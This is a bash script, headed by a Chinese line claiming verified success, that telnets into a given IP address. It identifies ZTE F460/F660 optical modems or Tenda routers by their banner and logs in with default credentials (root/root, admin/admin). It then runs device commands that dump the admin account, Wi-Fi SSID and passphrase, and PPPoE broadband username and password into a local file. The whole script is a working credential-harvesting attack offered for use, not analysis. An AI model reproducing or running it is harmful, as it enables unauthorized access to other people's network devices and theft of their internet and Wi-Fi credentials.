能获取上网帐号(即使你用电脑拨号未设置光猫),wifi密码,已验证
#!/bin/bash
if(( $# != 1 ))
then
echo ""usage: $0 ip ""
exit 1
fi
ip=$1
file=get_telnet.txt
time=0.5
f460='F460'
f466='F660'
tenda="as:"
f_inp1='root'
f_inp2='root'
f_cmd1='sendcmd 1 DB p UserInfo|grep telecomadmin'
f_cmd2='sendcmd 1 DB p WLANCfg|grep ChinaNet'
f_cmd3='sendcmd 1 DB p WLANPSK|grep KeyPassphrase'
f_cmd4='sendcmd 1 DB p WANCPPP|grep UserName'
f_cmd5='sendcmd 1 DB p WANCPPP|grep Password'
f_cmd6='ifconfig -a eth0|grep eth0'
t_inp1='admin'
t_inp2='admin'
t_cmd1='cfg'
t_cmd2='get POE_USER'
t_cmd3='get POE_PASS'
t_cmd4='get WLN_SSID1'
t_cmd5='get WLN_WPAPSK1'
t_cmd6='exit'
(sleep $time;exit)|telnet $ip >get_tmp
echo "====="
cat get_tmp
echo "====="
if (cat get_tmp|grep -q $f460)
then
echo "============================F460 $ip =============================" >> $file
(sleep $time;\
echo $f_inp1;\
sleep $time;\
echo $f_inp2;\
sleep $time;\
echo $f_cmd1;\
sleep $time;\
echo $f_cmd2;\
sleep $time;\
echo $f_cmd3;\
sleep $time;\
echo $f_cmd4;\
sleep $time;\
echo $f_cmd5;\
sleep $time;\
echo $f_cmd6;\
sleep $time;\
exit)|telnet $ip >> $file
echo "--------------------------------------------------------------\n" >> $file
#cat $file
fi
if (cat get_tmp|grep -q $f466)
then
echo "============================F660 $ip =============================" >> $file
(sleep $time;\
echo $f_inp1;\
sleep $time;\
echo $f_inp2;\
sleep $time;\
echo $f_cmd1;\
sleep $time;\
echo $f_cmd2;\
sleep $time;\
echo $f_cmd3;\
sleep $time;\
echo $f_cmd4;\
sleep $time;\
echo $f_cmd5;\
sleep $time;\
echo $f_cmd6;\
sleep $time;\
exit)|telnet $ip >> $file
echo "--------------------------------------------------------------\n" >> $file
#cat $file
fi
if (cat get_tmp|grep -q $tenda)
then
echo "============================Tenda $ip =============================" >> $file
(sleep $time;\
echo $t_inp1;\
sleep $time;\
echo $t_inp2;\
sleep $time;\
echo $t_inp1;\
sleep $time;\
echo $t_inp2;\
sleep $time;\
echo $t_inp1;\
sleep $time;\
echo $t_inp2;\
sleep $time;\
echo $t_cmd1;\
sleep $time;\
echo $t_cmd2;\
sleep $time;\
echo $t_cmd3;\
sleep $time;\
echo $t_cmd4;\
sleep $time;\
echo $t_cmd5;\
sleep $time;\
echo $t_cmd6;\
sleep $time;\
exit)|telnet $ip >> $file
echo "--------------------------------------------------------------\n" >> $file
#cat $file
else
echo "---no tenda--"
fi
rm -Rf get_tmp